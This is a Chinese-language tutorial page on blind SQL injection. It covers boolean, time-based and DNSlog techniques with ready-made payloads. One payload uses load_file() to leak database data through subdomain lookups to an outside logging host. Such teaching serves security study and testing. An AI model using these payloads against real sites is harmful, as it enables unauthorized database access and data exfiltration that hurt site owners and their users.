🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
## 盲注 当我们的注入语句被带入数据库查询,页面确不能回显我们的结果,如应用程序就会返回一个“通用的”的页面或特定的语句,我们不能以此来判断注入是否成功,这种情况下就要用到sql盲注的技巧了。 sql盲注三个分类: 1. 布尔盲注 2. 时间盲注 3. dnslog盲注 ## 布尔盲注 ### 布尔盲注原理 只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否 ### 布尔盲注方法 ~~~sql #substr()函数,截取某个字符串,与后面的字符串或数字对比 k' and substr((select database()),1,1)='s' #left()函数,截取前几个字符与期望值对比 k' and left((database()),1)='s' #regexp函数,用正则判断 k' and select user() regexp '^r' #like函数 k' and select user() like 'ro%' # 爆破库、表、字段长度 k' and select length(database())<xx ​ #有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值 #ascii和ord函数功能相同,大于、小于、等于配合二分法使用 k' and ascii(substr((select database()),1,1))=114 k' and ascii(substr((select database()),1,1))>114 k' and ascii(substr((select database()),1,1))<20 ord(substr((select database()),1,1))=114 ~~~ ## 时间盲注 ### 时间盲注原理 语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行 ~~~sql #确实是否有注入点,如果相应时间是自定义的睡眠时间,则大概率有注入点 k' and sleep(x) # #然后通过之前的函数,猜测库、表、字段 k' and if(ascii(substr(database(),1,1))>115,0,sleep(5)); #也可以先通过sleep计算出库、表、字段长度 k' and sleep(length(database())) ~~~ ## dnslog盲注 ### dnslog盲注原理 1. 首先需要存在sql注入漏洞,但不回显,常规只能用布尔盲注和时间盲注猜单词 2. 但是利用`Mysql load_file()`函数(唯windowns),可以用sql语句发起web请求 3. 将我们盲注需要获取的信息,通过二级域名的方式,发起web请求 4. 利用特定的dns解析网站,获取这些二级域名的记录,就能得到数据 前提要求 1. windows系统 2. 该用户具有file权限 3. `SHOW VARIABLES LIKE 'secure_file_priv'`结果为NULL ### dnslog盲注方法 登录`http://ceye.io/`网站并注册,得到属于自己的identifier 先尝试在终端运行`curl test.xxxx.ceye.io` ,在解析记录就可以看到对应记录 在windows系统下,使用`load_file()`发起如下类似请求: ~~~ select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\\abc')) ~~~ 如果解析记录有结果,后续就可以用sql注入的其他语法自由发挥了 有些特殊符号不能作为二级域名,通用的方法是用`hex()`转换为16进制处理